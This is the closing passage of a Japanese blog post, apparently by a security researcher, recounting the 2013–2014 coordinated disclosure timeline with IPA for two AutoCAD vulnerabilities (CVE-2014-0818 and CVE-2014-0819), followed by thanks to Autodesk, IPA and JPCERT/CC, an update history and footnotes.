2013年5月22日IPA から「『FAS ファイルのファイル探索パスに関する脆弱性』と『DLL 読み込みに関する脆弱性』どちらも対応中」との回答をいただいた。
2013年8月22日IPA に「AutoCAD の脆弱性 CVE-2013-3665 が報告した脆弱性に該当するか」問い合わせた。
2013年9月4日IPA から「Autodesk 社に(8月22日の)問い合わせ内容を確認中である」との報告をいただいた。
2013年9月中旬*4IPA から「報告した脆弱性と CVE-2013-3665 は別の脆弱性である」との回答をいただいた。
2014年2月21日IPA から「CVE-2014-0818(JVN#33382534), CVE-2014-0819(JVN#43254599)を公表したこと」を連絡いただいた。

さいごに

脆弱性を修正いただいた Autodesk 社、報告から修正および公表まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

更新履歴

更新日更新内容
2014年2月23日作成(ウェブ魚拓
2014年3月19日Packet Storm のリンクを追記

*1:「AutoCAD 2014」の動作環境は、Windows 7 Service Pack1 です。

*2「Without A Net」の記事の公開日をもとに、2012年8月に公開されていたと判断しました。

*3「Without A Net」の記事のコメントによると、SP1 が公開された後で、多数のバグを修正した SP1.1 が公開されたようです。

*4:2013 年 9 月中旬頃に IPA からメールをいただいていると思いますが、当該メールが見つかりませんでした...